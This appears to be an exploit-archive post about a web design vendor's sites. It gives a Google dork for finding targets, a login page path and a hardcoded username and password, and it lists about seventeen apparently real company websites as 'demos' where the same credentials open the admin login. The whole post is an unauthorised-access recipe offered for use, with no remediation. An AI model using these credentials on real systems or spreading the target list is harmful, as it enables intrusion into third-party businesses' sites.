###################### # Exploit Title : 百邇來 網頁設計 Weak Password # Exploit Author : Ashiyane Digital Security Team # Vendor Homepage : http://www.buyersline.com.tw/ # Google Dork : intext:"網頁設計 百邇來" # Date: 2016 01 10 # Tested On : Win 10 / Google Chrome / Mozilla Firefox # ###################### # # Search Google Dork and Choose a Target and put this after URL : /jobs/index_login.php # and put this username & password : # username : steve # password : blc2293 # # Demos : # # http://www.thhpacking.com/jobs/index_login.php # http://www.hsienchi.com.tw/jobs/index_login.php # http://www.young-spring.com/jobs/index_login.php # http://www.lively-travel-thailand.com/jobs/index_login.php # http://www.ceramiccartridge.com.tw/jobs/index_login.php # http://www.looben.com.tw/jobs/index_login.php # http://www.jiujan.com.tw/jobs/index_login.php # http://www.tohoku.com.tw/jobs/index_login.php # http://www.yonghopumps.com/jobs/index_login.php # http://www.macaca.com.tw/jobs/index_login.php # http://www.jinn-jye.com.tw/jobs/index_login.php # http://gmpbaby.com.tw/jobs/index_login.php # http://www.unotex.com.tw/jobs/index_login.php # http://www.yonghopumps.com/jobs/index_login.php # http://www.mindfulness.org.tw/jobs/index_login.php # http://www.ghkairsoft.com/jobs/index_login.php # http://www.abgenomics.com/jobs/index_login.php ###################### # discovered by : modiret ######################